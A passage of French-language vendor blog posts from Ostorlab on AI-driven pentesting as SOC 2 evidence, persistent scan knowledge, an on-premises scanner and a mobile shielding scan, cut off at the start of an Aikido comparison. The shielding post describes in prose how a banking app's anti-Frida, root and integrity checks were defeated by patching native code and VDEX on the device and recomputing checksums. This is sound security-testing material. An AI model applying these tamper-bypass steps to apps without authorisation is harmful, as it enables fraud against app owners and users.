C'est là que les tests continus pilotés par l'IA changent la forme des preuves, et pas seulement leur volume. Parce qu'une plateforme de pentest agentique peut exécuter des cycles de test récurrents sur toute la période d'audit, au lieu d'une seule mission au sein de celle-ci, la piste de preuves couvre naturellement la même fenêtre que celle sur laquelle porte l'opinion Type II. Une nouvelle CVE divulguée au septième mois de la période d'audit est testée sur votre environnement au septième mois, et non découverte rétroactivement lorsque le pentest annuel de l'année suivante finit par la repérer. C'est une meilleure adéquation structurelle avec ce qu'un audit Type II cherche réellement à prouver : non pas un raccourci pour contourner l'exigence, mais une correspondance plus étroite avec elle.

Quels critères un rapport de pentest IA doit-il remplir pour SOC 2 ?

Pour un audit SOC 2, l'outil qui a produit une vulnérabilité n'est pas la vraie préoccupation de l'auditeur. Les auditeurs acceptent déjà de nombreuses entrées automatisées (scanners de vulnérabilités, outils de conformité de configuration, supervision basée sur les journaux) comme preuves à l'appui. Ce qui détermine si un rapport de test d'intrusion, réalisé par une IA ou par un humain, tient la route, c'est la même courte liste de propriétés :

Une preuve reproductible, pas un score de sévérité. Une vulnérabilité doit s'accompagner d'une paire requête/réponse, d'un chemin de reproduction ou d'un autre artefact qu'un tiers pourrait utiliser pour confirmer l'impact de façon indépendante, et non d'un niveau de confiance attaché à une correspondance de motif.
Une méthodologie documentée et inspectable. L'auditeur doit pouvoir lire ce qui a réellement été testé (quels points d'entrée, quelles hypothèses, quelles étapes de validation) plutôt que d'accepter sur parole une affirmation de type « faites confiance au modèle » sur une boîte noire. Les auditeurs se méfient professionnellement des boîtes noires, et pour de bonnes raisons.
Une validation humaine nommée et responsable. Quelque part dans la chaîne, une personne précise et qualifiée a examiné les résultats et répond de l'exactitude du rapport, exactement comme une mission menée par un humain nommerait le testeur qui l'a signée.
Un périmètre défini et convenu. Quels systèmes le programme couvre, sur quelle période, et comment cela correspond à la limite d'audit. Un périmètre indéfini ou changeant dégrade la qualité des preuves, quel que soit celui qui a mené le test.
Une cohérence du format des preuves sur toute la période. Si les preuves sur lesquelles repose un audit Type II changent de forme en cours de route (structure de rapport différente, couverture différente, sans explication), cela passe pour un signal d'alerte, pas pour de l'innovation.

Voici à quoi ressemblent les points 1 et 2 en pratique, à partir d'une vraie vulnérabilité de type Broken Object-Level Authorization sur un backend mobile. Les noms d'endpoints, les tokens et les valeurs identifiantes sont masqués.

Vue d'ensemble d'une vulnérabilité Ostorlab Agentic Deep Scan — Broken Object-Level Authorization

Figure 1 : la vulnérabilité elle-même, avec sa sévérité, une description en langage clair de la faille et une confirmation de la cause racine montrant que l'endpoint vulnérable ignore un en-tête qu'un endpoint comparable applique correctement. Les figures suivantes retracent comment cette vulnérabilité précise a été planifiée, reproduite et revalidée.

Preuve d'exploitation Agentic Deep Scan assainie — obtention d'un token

Figure 2 : les deux premières étapes du chemin de reproduction, à savoir un bearer token global obtenu à partir d'identifiants client codés en dur, puis une charge utile de requête chiffrée selon le schéma de la cible. Masquée pour la publication.

Preuve d'exploitation Agentic Deep Scan assainie — données renvoyées

Figure 3 : la réponse effectivement produite par la requête de la figure 2, à savoir un objet de données personnelles complet renvoyé pour un compte valide, sans qu'aucun token utilisateur n'ait été fourni. C'est la « preuve reproductible » du point 1 : un tiers peut rejouer exactement cette requête et obtenir le même résultat.

Méthodologie de test documentée et inspectable issue d'une vulnérabilité Ostorlab Agentic Deep Scan

Figure 4 : le plan de test à l'origine de la même vulnérabilité, avec un agent de planification nommé, des objectifs explicites (confirmer le contournement de l'en-tête, vérifier que le token suffit, contrôler la persistance après rotation, etc.) et une liste de tâches par phases débutant par la documentation de référence et la cartographie de la surface d'attaque. C'est ce que le point 2 entend par « inspectable » : un auditeur peut lire exactement ce qui a été planifié et testé, et pas seulement le résultat.

Aucune de ces cinq propriétés n'est propre à l'IA. C'est le même critère sur lequel échoue aussi un rapport de pentest humain médiocre : des vulnérabilités vagues sans étapes de reproduction, un sous-traitant que personne ne sait nommer, un périmètre jamais consigné par écrit. Les tests réalisés par une IA ne sont pas notés sur une courbe, et ils n'en ont pas besoin : un test agentique qui valide réellement ses vulnérabilités franchit ce seuil de façon plus régulière qu'une mission manuelle bâclée ou qu'un scan par signatures.

Là où « réalisé par une IA » échoue discrètement comme preuve

Le mode d'échec à surveiller n'est pas « l'auditeur l'a rejeté parce qu'une IA était impliquée ». C'est de confondre un scanner IA avec un pentest IA, et de remettre le premier à l'auditeur en le présentant comme le second.

Un scanner, assisté par l'IA ou non, cherche des correspondances de motifs dans une base de code ou sur une cible en production et signale ce qu'il pense être problématique. Sans validation, cette sortie est une liste d'hypothèses, pas de vulnérabilités : fort volume de faux positifs, aucun chemin de reproduction, aucune preuve que quoi que ce soit ait démontré un impact réel. C'est une preuve d'audit plus faible qu'un pentest humain modeste, et non plus forte, car un relecteur doit encore refaire le travail pour savoir ce qui est réel. Scanner une plus grande partie de la surface d'attaque à la fois ne change pas ce calcul non plus : lancer un scan multi-actifs sur des actifs web, mobiles et API en parallèle produit simplement plus d'hypothèses non validées par heure, à moins qu'une étape en aval ne confirme lesquelles sont réelles.

Un pentest IA est différent par nature, et pas seulement par sa vitesse : reconnaissance, hypothèse, test, validation et, point crucial, une étape qui se demande si une vulnérabilité se combine avec une autre pour former quelque chose de plus grave. La distinction qui compte précisément pour les preuves CC7.1 est de savoir si le rapport montre qu'un identifiant a été prouvé actif sur un endpoint réel, ou s'il est simplement signalé comme « secret codé en dur possible ». L'un est une preuve ; l'autre est une piste qui demande encore qu'un humain l'élucide.

C'est le principe autour duquel Agentic Deep Scan d'Ostorlab est construit, précisément pour cette raison : une phase de détection trouve et exploite le problème, en produisant une requête exécutable, la réponse obtenue et l'affirmation précise que cette réponse étaye. Une phase de validation distincte rejoue ensuite l'exploit de façon indépendante avant qu'un humain ne le voie : un token neuf, et non celui déjà en main ; une vérification comparative avec un endpoint qui applique correctement le contrôle, pour écarter une mauvaise configuration globale ; d'autres formats d'entrée et des exécutions répétées dans le temps, pour confirmer que le problème n'est pas un accident propre à une requête donnée. C'est la différence entre une preuve exploitable par un auditeur et un rapport qui se contente de reporter le travail de vérification en aval.

Preuve de la phase de validation Agentic Deep Scan assainie

Figure 5 : la phase de validation pour la même vulnérabilité, avec l'exploit rejoué sur un lot de comptes pour écarter un résultat isolé, puis répété avec un token nouvellement obtenu pour confirmer que le problème n'est pas lié à la session d'origine. Elle s'exécute après la détection et avant que la vulnérabilité ne soit présentée à un humain.

Le dossier de preuves qu'un auditeur veut réellement voir

Que les tests aient été continus ou constitués d'une mission unique, menés par un humain ou par une IA, un dossier de preuves prêt pour un audit Type II requiert généralement les mêmes composants :

Composant	Ce qu'il démontre
Document de méthodologie	Ce qui a été testé, comment et selon quel processus, y compris la manière dont les hypothèses de l'agent IA ont été générées et validées
Déclaration de périmètre	Quels systèmes, environnements et fenêtre de temps le programme de tests couvre, en correspondance avec la limite d'audit
Preuve par vulnérabilité	Paires requête/réponse, étapes de reproduction, captures d'écran ou journaux montrant un impact réel, et pas seulement un niveau de sévérité
Registre de revue humaine	Qui a examiné les vulnérabilités, quand et quel jugement a été appliqué : la responsabilité nominative à laquelle un auditeur peut se référer
Preuve de remédiation et de retest	Confirmation que les problèmes signalés ont été corrigés et que le correctif a été revérifié de façon indépendante, et pas simplement marqué comme clos
Carte de couverture	Quelles parties de la période d'audit les preuves de test couvrent réellement, afin que les lacunes soient visibles plutôt que supposées inexistantes

Si un programme peut produire ces six éléments pour toute la période d'audit, le fait qu'un agent IA ait exécuté les cycles de test individuels est un détail d'implémentation, pas une objection.

Introduire des tests IA continus sans perturber un audit en cours

L'erreur pratique n'est pas de mener des tests pilotés par l'IA : c'est de changer la forme de vos preuves en pleine période d'audit sans prévenir personne. Quelques précautions rendent la transition fluide au lieu d'en faire une surprise :

Parlez à votre auditeur avant le début de la période, et non au moment de remettre le rapport. La plupart des auditeurs n'ont aucune objection à des preuves plus nombreuses et de meilleure qualité ; ils s'opposent aux preuves qui arrivent dans un format inconnu, sans avertissement.
Montrez tôt un exemple de rapport. Laissez-les voir à quoi ressemble une vulnérabilité, preuve comprise, avant qu'elle ne soit la seule preuve étayant un contrôle.
Convenez à l'avance de la cadence et du format. Des cycles de test hebdomadaires, continus ou mensuels sont tous envisageables ; ce qui brise la confiance, c'est de changer de format en cours de route sans documenter pourquoi.
Gardez un point d'ancrage familier si votre auditeur le souhaite. Certains cabinets sont encore plus à l'aise avec une mission annuelle, davantage relue par des humains, comme une occurrence au sein d'un programme continu, au moins pour le premier cycle. C'est une étape de transition raisonnable, et non une concession selon laquelle les tests IA ne comptent pas.

Ce qui reste incertain

Les Trust Services Criteria de l'AICPA ne contiennent pas encore de formulation explicite sur les tests réalisés par une IA, et les cabinets d'audit varient quant au degré d'implication d'agents IA qu'ils sont prêts à évaluer aujourd'hui. Les plateformes d'automatisation de la conformité qui alimentent directement les audits SOC 2 en preuves ont déjà commencé à accepter les rapports de test d'intrusion réalisés par une IA comme preuves complémentaires valides : côté outillage, le marché avance plus vite que le texte des normes, même si chaque cabinet d'audit fixe encore son propre seuil au cas par cas. Certains accepteront un rapport de pentest IA bien étayé avec un minimum de friction ; d'autres demanderont qu'un humain nommé et qualifié examine et cosigne les vulnérabilités avant de s'y fier, ce qui est une demande raisonnable, qu'il vaut mieux anticiper que contester. Tant que les recommandations n'auront pas rattrapé la pratique, la posture la plus sûre est de trop documenter : garder la méthodologie explicite, garder un humain responsable de chaque rapport, et traiter les réserves de l'auditeur comme une discussion de cadrage, non comme un rejet de l'approche.

FAQ

SOC 2 exige-t-il un test d'intrusion ? Pas explicitement. Les Trust Services Criteria exigent des preuves que les contrôles sont efficaces (CC4.1) et que les vulnérabilités sont identifiées (CC7.1), et le test d'intrusion est devenu la méthode admise pour produire ces preuves, mais il s'agit d'une attente des auditeurs construite sur les critères, et non d'une exigence nommée dans le texte du référentiel.

Les vulnérabilités trouvées par un agent IA peuvent-elles satisfaire les exigences de preuve de CC7.1 ? Oui, si les vulnérabilités sont validées plutôt que brutes en sortie de modèle : chacune doit s'accompagner d'une preuve reproductible d'exploitabilité, et non d'un score de sévérité attribué à une correspondance de motif. Les pistes générées par l'IA sans validation ne passent pas le seuil, pas plus qu'une alerte de scanner non validée.

Un rapport de pentest IA entièrement autonome et non relu est-il acceptable pour SOC 2 ? En général, non. Les auditeurs attendent une personne nommée et responsable derrière tout rapport sur lequel ils s'appuient. Un agent IA peut mener les tests ; un humain qualifié doit encore relire les résultats et s'en porter garant.

En quoi un pentest IA diffère-t-il d'un scan de vulnérabilités à des fins de conformité ? Un scan signale ce qui pourrait être problématique ; un pentest, mené par une IA ou par un humain, prouve ce qui est réellement exploitable par la reconnaissance, l'hypothèse, le test et la validation. Les auditeurs considèrent la sortie d'un scan non validée comme une preuve plus faible, car il faut encore un humain pour déterminer ce qui est réel.

Faut-il conserver un pentest manuel annuel en plus des tests IA continus ? De nombreuses organisations le font, au moins pendant la transition, soit parce que leur auditeur veut un point d'ancrage familier, soit parce qu'une mission périodique menée par des humains ajoute des tests fondés sur le jugement (logique métier, scénarios proches de l'ingénierie sociale) qui complètent la couverture systématique de l'IA plutôt que de la dupliquer.

En résumé

SOC 2 n'a jamais noté l'outil : il notait la preuve. Un test d'intrusion entièrement mené par un agent IA peut satisfaire un audit SOC 2 Type II et, à certains égards, s'accorde mieux au modèle de preuve fondé sur une période qu'une mission annuelle unique, car les tests continus couvrent naturellement la fenêtre sur laquelle porte l'audit. Ce qu'il ne peut pas faire, c'est faire l'impasse sur ce qui n'a jamais concerné l'outil : une preuve reproductible, une méthodologie qu'un auditeur peut réellement lire, un humain nommé qui se porte garant du rapport, et un périmètre sur lequel tout le monde s'était accordé avant le début du chronomètre. Une fois ces points acquis, savoir si les tests se sont déroulés selon un calendrier fixé par un cabinet de conseil ou par un agent qui raisonne sur des hypothèses à 2 h du matin cesse d'être la question intéressante.

La question la plus intéressante est de savoir ce qui se passe lorsque la même logique est appliquée en dehors de SOC 2. PCI DSS, HIPAA et le reste de l'alphabet de la conformité reposent sur la même idée : des contrôles qui tiennent face à une attaque, pas seulement des contrôles qui existent sur le papier. Sont-ils prêts à accepter une réponse produite par une IA à cette question ? C'est ce que nous aborderons dans un autre article.

Présentation d'Agentic Scan Knowledge : le scanner qui n'oublie jamais

2026-08-05T09:58:00+02:00

Chaque scan de sécurité repart de zéro. Le scanner redécouvre l'application, répète le même travail et oublie tout dès la fin du test.

C'est peut-être ainsi que les scanners ont traditionnellement fonctionné. Ce n'est pas ainsi que devrait fonctionner le test de sécurité continu.

Aujourd'hui, nous présentons Agentic Scan Knowledge, un socle persistant de connaissances sur l'application qui s'enrichit à chaque scan. Lorsque les agents de sécurité d'Ostorlab analysent une application, ils conservent ce qu'ils apprennent et rendent ce contexte disponible pour les scans suivants.

Le résultat est un scanner qui ne se contente pas de s'exécuter à nouveau. Il s'appuie sur ce qu'il sait déjà.

Chaque scan doit s'appuyer sur le précédent

Les scanners traditionnels traitent chaque scan comme un événement isolé. Même lorsque la même application a déjà été testée à de nombreuses reprises, le scan suivant commence par redécouvrir des structures familières et reparcourir des chemins connus.

Cela crée trois problèmes :

Reconnaissance répétée : le temps est consacré à redécouvrir les flux d'authentification, les technologies, les points d'entrée et la structure de l'application.
Contexte perdu : les actions, les preuves et la logique à l'origine d'une vulnérabilité sont déconnectées du scan suivant.
Profondeur limitée : le temps passé à revisiter des chemins connus ne peut pas servir à étudier de nouveaux comportements ou des vulnérabilités plus complexes.

Pour les équipes qui testent en continu, cela signifie lancer davantage de scans sans nécessairement accumuler plus de connaissances en sécurité.

Un scanner doté d'une connaissance persistante de l'application

Agentic Scan Knowledge change le point de départ.

Pendant leur travail, les agents de sécurité d'Ostorlab documentent ce qu'ils apprennent sur l'application, les chemins explorés, les actions réalisées et les preuves produites. Ces connaissances alimentent un historique consultable et en croissance, qui peut éclairer les scans futurs.

Au lieu d'aborder l'application comme un inconnu à chaque fois, le scanner développe une familiarité de long terme avec elle, un peu comme un partenaire sécurité dédié qui gagne en efficacité à chaque mission.

Chaque scan contribue au suivant.

Agentic Scan Knowledge rassemble en un seul endroit le contexte accumulé des scans, organisé par workspace, par risque et par vulnérabilité.

Ce dont le scanner se souvient

Agentic Scan Knowledge conserve le contexte nécessaire pour comprendre à la fois l'application et les tests réalisés contre elle :

Contexte applicatif : architecture, piles technologiques et flux d'authentification.
Contexte de la surface d'attaque : points d'entrée, paramètres et chemins pertinents dans l'application.
Historique des tests : ce qui a été tenté, ce qui a fonctionné et ce qui n'a pas fonctionné.
Journal des décisions : les observations et les preuves qui ont guidé chaque action d'agent et chaque vulnérabilité.

Même une tentative infructueuse peut devenir une connaissance utile. Au lieu de disparaître à la fin d'un scan, elle aide les agents futurs à éviter les impasses connues et à concentrer leurs efforts ailleurs.

Une connaissance de sécurité qui se cumule

La connaissance persistante change ce que les scans répétés peuvent accomplir.

Moins de travail répété

Les scans futurs peuvent s'appuyer sur la reconnaissance antérieure au lieu de dépenser le même effort à redécouvrir un comportement applicatif familier.

Plus de place pour des investigations approfondies

Lorsque les agents n'ont pas besoin de répéter un travail déjà effectué, ils peuvent consacrer une plus grande partie du scan aux nouveaux chemins, aux comportements modifiés et à des tests plus complexes.

Une mémoire durable pour l'organisation

Les connaissances importantes sur l'application restent accessibles même lorsque les équipes changent. Les vulnérabilités ne sont plus des résultats de scan isolés, mais font partie d'un historique continu relié aux tentatives et aux preuves qui les ont produites.

Une meilleure visibilité sur l'activité des agents

Les équipes peuvent inspecter ce que les agents ont observé, ce qu'ils ont tenté et quelles preuves étayent le résultat. Le travail qui sous-tend une vulnérabilité est visible, au lieu d'être caché dans une boîte noire.

Chaque enregistrement de connaissance relie le résultat à l'analyse, aux tentatives et aux preuves qui l'ont produit.

Conçu pour le test de sécurité continu

Pour les équipes sécurité qui gèrent des programmes de test permanents, Agentic Scan Knowledge crée de la continuité d'un scan à l'autre.

Pour les organisations d'ingénierie qui livrent fréquemment des versions, il permet des retours plus rapides sans traiter chaque nouvelle version comme une application totalement inconnue.

Pour les organisations réglementées, il fournit un historique durable et étayé par des preuves de ce qui a été testé, de quand cela a été testé et de ce qui a été prouvé.

Chaque scan doit améliorer le suivant

Le test continu doit produire plus qu'une suite de rapports déconnectés. Il doit créer une compréhension grandissante de l'application et de l'évolution de sa sécurité dans le temps.

Avec Agentic Scan Knowledge, chaque investigation contribue à cette compréhension. Le scanner se souvient de ce qu'il a appris, conserve les preuves qui étayent son travail et aborde le scan suivant mieux informé qu'auparavant.

Votre application évolue. Désormais, la connaissance de votre scanner évolue avec elle.

Rendez votre prochain scan plus intelligent

Lancer un Agentic Scan

Présentation d'Ostorlab Mobile Shielding Scan

2026-08-04T18:39:00+02:00

Le shielding mobile se contourne facilement. Un attaquant déterminé passera de toute façon, donc le tester ne change rien.

Ce point de vue exige du shielding une promesse qu'il n'a jamais eu vocation à tenir.

Le shielding n'est pas censé rendre une application impossible à rétro-concevoir. Il est censé rendre nettement plus difficiles la falsification, l'instrumentation, l'interception du trafic et l'analyse du code.

La vraie question est de savoir quelle résistance il crée, en particulier à l'ère de la rétro-ingénierie et de l'instrumentation assistées par l'IA.

La détection du root peut être présente mais échouer face aux techniques de dissimulation modernes. Le certificate pinning peut protéger un chemin réseau tout en en laissant un autre exposé. Un contrôle d'intégrité peut détecter une modification mais laisser l'application continuer à s'exécuter.

Savoir qu'une protection existe est utile. Savoir ce qui se passe quand quelqu'un l'attaque est ce qui donne confiance aux équipes. C'est aussi savoir si la solution de shielding pour laquelle vous payez une somme rondelette en vaut la peine.

C'est ce que le nouveau Mobile Shielding Scan d'Ostorlab est conçu pour montrer.

Le scan attaque ce qu'il trouve

Mobile Shielding Scan évalue comment les applications Android et iOS se défendent contre la rétro-ingénierie et la falsification.

Il commence par analyser l'application pour identifier la détection du root et du jailbreak, les contrôles d'anti-falsification et d'intégrité, l'anti-débogage, l'anti-instrumentation, le certificate pinning et l'obfuscation du code ou des chaînes.

Il exécute ensuite l'application sur de vrais appareils et parcourt ses workflows pour atteindre les points où ces protections s'activent. Certains contrôles ne s'exécutent qu'après l'authentification, pendant un paiement ou à l'ouverture d'une fonctionnalité sensible. Trouver le code sous-jacent ne suffit pas si la protection ne se déclenche jamais lors d'un usage réel.

Une fois un contrôle atteint, le scan tente de le mettre en échec.

Il peut reconditionner et re-signer l'application, attacher une instrumentation à l'exécution avec des outils comme Frida, dissimuler les traces d'un appareil rooté, intercepter le trafic réseau, modifier le code de l'application ou de ses bibliothèques et manipuler les contrôles d'intégrité.

Des agents IA conduisent l'investigation. Ils observent l'interface, lisent les journaux et interprètent la réaction de l'application. Un plantage, une boîte de dialogue d'avertissement, une requête bloquée, une sortie silencieuse ou un workflow qui cesse discrètement de fonctionner peuvent tous révéler si une défense a réagi.

Les agents utilisent ces éléments pour choisir la technique suivante et réessayer. Le processus suit la même boucle de base qu'une évaluation de rétro-ingénierie manuelle : observer, attaquer, interpréter et s'adapter.

Le scan peut s'exécuter sur un build téléversé ou directement à partir d'une fiche de store.

Trois protections, modifiées directement sur l'appareil

L'exemple suivant est tiré d'un scan réel, dont les détails identifiants ont été supprimés.

Une application bancaire mettait en œuvre trois protections côté client dans sa bibliothèque native, libsecurity.so, et dans son code DEX :

Un contrôle JNI_OnLoad analysait /proc/self/maps à la recherche d'artefacts de Frida et cherchait des binaires su et des clés de test. S'il trouvait quelque chose de suspect, il appelait _exit(1).
Un contrôle d'intégrité natif calculait une somme de contrôle CRC32 sur les octets de la bibliothèque elle-même et la comparait à une valeur stockée à côté d'une chaîne marqueur.
Une méthode Java, HookDetector.isHooked(), inspectait les cartes mémoire du processus, les noms de threads et les ports par défaut de Frida, 27042 et 27043.

Sur le papier, l'application disposait d'une anti-instrumentation, d'une détection du root et d'une protection d'intégrité. La faiblesse était que chaque contrôle reposait sur des fichiers et des décisions stockés entièrement sur l'appareil.

L'application utilisait extractNativeLibs=false, ce qui laissait la bibliothèque native non compressée dans l'APK installé et la chargeait directement à partir de là. Son code DEX s'exécutait à partir du fichier VDEX de l'appareil. Sur un appareil rooté, les deux pouvaient être modifiés sur place.

Le scan a modifié la branche de terminaison dans JNI_OnLoad pour qu'elle suive le chemin de retour normal au lieu d'appeler _exit(1). Comme la modification de la bibliothèque changeait sa somme de contrôle, le scan a recalculé la valeur CRC32 et écrit le nouveau résultat dans le champ stocké. Le contrôle d'intégrité a continué à s'exécuter, mais il considérait désormais la bibliothèque modifiée comme valide.

Il a ensuite modifié HookDetector.isHooked() dans le fichier VDEX pour qu'elle renvoie toujours false. Après la modification, le scan a réparé les sommes de contrôle Adler-32 et SHA-1 du DEX nécessaires au bon chargement du code.

Aucune de ces modifications n'a nécessité de reconstruire, de reconditionner ou de re-signer l'application.

Le contrôle de signature de l'application n'a pas empêché l'attaque, car Android avait mis en cache le certificat de signature d'origine lors de l'installation et n'a pas revalidé les fichiers modifiés sur le disque.

Une fois les trois modifications appliquées, et alors qu'un artefact de Frida restait visible dans /proc/self/maps, l'application a maintenu une session authentifiée pendant plus d'une minute, est passée d'un écran à l'autre et a franchi sans réagir des contrôles d'intégrité répétés en arrière-plan.

Les trois protections étaient présentes et actives dans le build d'origine. Mais comme chacune reposait sur du code côté client sans confirmation indépendante côté serveur, les trois pouvaient être modifiées sur l'appareil qu'elles étaient censées protéger.

Une checklist aurait indiqué que l'anti-instrumentation, la détection du root et la protection d'intégrité étaient présentes. Les tests actifs ont montré précisément comment chacune pouvait être neutralisée.

Un verdict étayé par des preuves

Chaque protection est marquée Secure lorsqu'elle réagit et tient, ou Hardening lorsqu'elle est absente, inactive ou contournée. La détection seule ne suffit pas si l'application continue de fonctionner normalement.

Les défenses en échec incluent des étapes de contournement reproductibles. Les défenses réussies sont confirmées sous attaque. Les résultats sont validés avant d'être rapportés et peuvent être contestés ou relancés avec de nouvelles consignes.

Chaque version peut changer le résultat

Un changement de build ou une mise à niveau de SDK peut affaiblir le shielding sans casser l'application ni déclencher le pipeline de livraison.

Répéter le scan montre ce qui tient dans l'application et le build livrés actuellement.

Sachez ce que votre shielding peut supporter

Mobile Shielding Scan montre quelles défenses ont tenu, lesquelles ont échoué, et comment le résultat a été prouvé.

Le shielding n'a pas besoin de rendre une application impossible à attaquer. Il doit créer de la résistance, et prouver qu'il le fait.

Testez ce que votre shielding mobile peut supporter.

Annonce du scanner de vulnérabilités On-Premises d'Ostorlab

2026-08-04T13:37:00+02:00

Annonce du scanner de vulnérabilités On-Premises d'Ostorlab : une portée locale, un contrôle centralisé

Nous sommes ravis d'annoncer la disponibilité générale d'Ostorlab On-Premises Scanning.

De nombreux systèmes critiques pour l'entreprise ne sont pas accessibles depuis l'internet public : ils sont hébergés dans des réseaux privés, protégés par des pare-feu stricts, limités à un VPN ou isolés dans des environnements de développement. Les scanners cloud traditionnels ne peuvent pas atteindre ces actifs, sauf à compromettre les frontières de votre réseau et à les exposer à l'extérieur.

Nous avons conçu notre nouveau moteur d'exécution pour résoudre ce problème : vous pouvez désormais tester vos applications, API et réseaux privés à l'aide de nœuds de scan déployés directement dans votre propre infrastructure, tout en gérant les scans et en examinant les résultats depuis la plateforme Ostorlab centralisée que vous utilisez déjà.

L'avantage clé : une portée locale, des opérations centralisées

Notre scanner on-premises transforme le problème « notre scanner de sécurité ne peut pas atteindre cet actif » en « nous pouvons le tester en continu sans le rendre public ».

Il évite la création d'« îlots opérationnels » déconnectés. Les scans s'exécutent depuis votre infrastructure locale et interagissent avec les cibles internes exactement comme le ferait un attaquant. Votre équipe continue néanmoins d'utiliser la plateforme Ostorlab unifiée pour orchestrer les scans, suivre l'activité, examiner les résultats et gérer la remédiation, aux côtés de vos actifs externes.

Ce que vous pouvez scanner en local

Selon votre offre et votre configuration de déploiement, le scanner on-premises prend en charge de façon transparente :

Zone cible	Exemples d'actifs scannables
Réseaux privés	Adresses IP internes, plages réseau, hôtes et services.
Applications web internes	Intranets, portails d'administration, applications de préproduction et tableaux de bord privés.
API privées	API REST, GraphQL et autres services d'API internes.
Code source et archives de dépôts	Dépôts de code source et archives nécessitant un accès contrôlé ou empaquetées pour le scan.

Comment ça marche

L'utilisation du scan on-premises est conçue pour s'intégrer naturellement à vos workflows existants :

Enregistrer un scanner : un administrateur crée un scanner depuis la plateforme Ostorlab en lui attribuant un nom et une description reconnaissables.

Ajouter un nouveau scanner

2. Le déployer en interne : le scanner est installé sur votre infrastructure, que vous contrôlez et qui a accès aux systèmes à tester. 3. Sélectionner l'environnement cible : lors de la création d'un scan, vous sélectionnez simplement le scanner on-premises capable d'atteindre la cible. Le reste de la configuration du scan reste exactement le même. 4. Examiner les résultats de manière centralisée : une fois exécutés, la progression du scan et ses résultats sont disponibles dans le tableau de bord Ostorlab unifié, avec vos autres scans de sécurité.

De nouvelles capacités pour une gestion à grande échelle

La gestion de réseaux d'entreprise implique souvent de composer avec des centres de données distincts ou des environnements fortement segmentés. Pour prendre en charge des parcs distribués, nous introduisons d'importantes évolutions d'architecture dans la plateforme Ostorlab :

Groupes de scanners pour la répartition de charge : au lieu d'affecter le travail à une machine précise, regroupez plusieurs nœuds de scan dans un groupe. Lorsqu'un scan est lancé, il est acheminé vers un scanner disponible et éligible de ce groupe. Vous pouvez ainsi ajouter de la capacité, organiser les nœuds par région ou par unité métier et éliminer les points de défaillance uniques.

Ajouter un groupe de scanners

* Visibilité centralisée sur le parc : les administrateurs peuvent surveiller tous les scanners enregistrés directement depuis la plateforme Ostorlab. Consultez l'activité en ligne, le scan en cours de traitement, les noms d'hôte, les adresses IP, ainsi que l'utilisation du processeur, de la mémoire et du disque en temps réel.

Vue d'ensemble des scanners

* Exécution adaptée à la capacité : un scan réseau léger et une analyse de code source volumineuse demandent des ressources totalement différentes. Le moteur évalue la capacité de processeur, de mémoire et de disque requise par un scan avant de l'exécuter sur un nœud, ce qui évite que des scans gourmands en ressources ne submergent des machines sous-dimensionnées.

Le même moteur de confiance, exécuté localement

Si l'exécution est désormais entièrement locale, le cerveau du scanner reste le même moteur Ostorlab, auquel nos utilisateurs font confiance. En apportant nos profils de scan existants on-premises, votre équipe bénéficie de :

Une priorisation basée sur le risque, au-delà du CVSS : nous continuons à prouver l'exploitabilité pour écarter les faux positifs et prioriser les résultats selon l'exposition réelle.
Un scan réseau sûr : le moteur limite activement le débit de ses requêtes réseau et espace ses sondes afin d'éviter des conditions proches du DoS sur des systèmes internes fragiles.
Des workflows de remédiation natifs : envoyez des tickets enrichis et riches en contexte, avec des conseils de remédiation pas à pas, directement dans vos plateformes SIEM, SOAR et de ticketing existantes.

À qui s'adresse-t-il ?

Le scan On-Premises est conçu pour les organisations qui exploitent des systèmes de grande valeur qui ne peuvent pas ou ne doivent pas être accessibles publiquement. Cela comprend :

Les services financiers et la banque numérique
La santé et les sciences de la vie
Les administrations et organisations du secteur public
Les grandes entreprises disposant de réseaux internes segmentés
Les environnements industriels et opérationnels
Les éditeurs de logiciels qui testent leurs systèmes de développement et de préproduction
Toute organisation soumise à des exigences strictes de sécurité, de confidentialité ou de conformité.

Questions fréquentes

Le scanner exige-t-il que les systèmes internes soient exposés à internet ? Non. Le scanner est déployé dans l'environnement qui a déjà accès à l'actif privé. Vos systèmes internes restent entièrement privés.

S'agit-il d'une solution entièrement air-gapped ? Non. Ostorlab fonctionne selon un modèle hybride. Le nœud de scan nécessite une connectivité sortante contrôlée et chiffrée vers la plateforme Ostorlab, strictement pour récupérer les planifications de scan et envoyer des données de rapport chiffrées. Tout le scan actif et toute l'exécution de payloads restent confinés à votre réseau interne.

Quelles autorisations sont nécessaires pour un scan authentifié ? Pour les applications web internes, les scanners n'ont généralement besoin que d'identifiants d'utilisateur standard ou de jetons de session (comme des JWT ou des cookies) pour se connecter et évaluer les surfaces d'attaque post-authentification. Ils n'exigent pas de privilèges dangereux d'administrateur de domaine.

Prêt à sécuriser votre infrastructure interne ? Demandez une démo ou contactez notre équipe commerciale dès aujourd'hui pour voir le scanner de vulnérabilités Ostorlab On-Premises en action.

Ostorlab vs Aikido : comparatif des plateformes AppSec

2026-08-03T18:00:00+02:00

Ostorlab vs Aikido : sécuriser toute la pile applicative

Réponse rapide : Aikido et Ostorlab résolvent des problèmes de fond différents. Aikido regroupe dans un seul tableau de bord la posture de sécurité du cloud, l'analyse des conteneurs et l'AppSec au niveau des dépôts, un atout pour les équipes dont le principal risque se situe dans l'infrastructure cloud et l'hygiène du code source. Ostorlab est une plateforme agentique d'AppSec et de pentest conçue d'abord pour faire de la rétro-ingénierie et exploiter des binaires mobiles compilés, puis étendue au web, aux API et au code source, un atout pour les équipes dont le risque se situe dans les applications elles-mêmes. Le test de binaires mobiles d'Aikido ne concerne qu'Android et exige le code source, et Aikido n'offre pas de BYOK ; Ostorlab ne propose ni CSPM ni sécurité des conteneurs.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les descriptions d'Aikido s'appuient sur le site web public et la documentation produit d'Aikido ; celles d'Ostorlab s'appuient sur la documentation produit d'Ostorlab. Les informations sur les autres éditeurs reflètent leurs sites web publics et leur documentation au 3 août 2026. L'offre de pentest mobile et l'offre sur site d'Aikido ont été revérifiées le 2 octobre 2026, et chaque affirmation sur Aikido figurant dans le tableau et la FAQ le 6 octobre 2026.

Mise à jour du 2 octobre 2026 : Aikido a lancé des pentests Android en boîte blanche le 26 août 2026, et Aikido Machine fonctionne sur site sans aucune connexion sortante. Les affirmations sur le DAST mobile et le traitement des données ont été corrigées, avec des liens vers les pages d'Aikido.

Mise à jour du 6 octobre 2026 : chaque affirmation sur Aikido renvoie désormais vers la page d'Aikido correspondante. Aikido Attack teste aussi les applications Android ; Aikido retest chaque vulnérabilité de pentest individuellement ; le BYOK, l'ingestion depuis les app stores, la sélection du pays et les SBOM compilés ont été revérifiés.

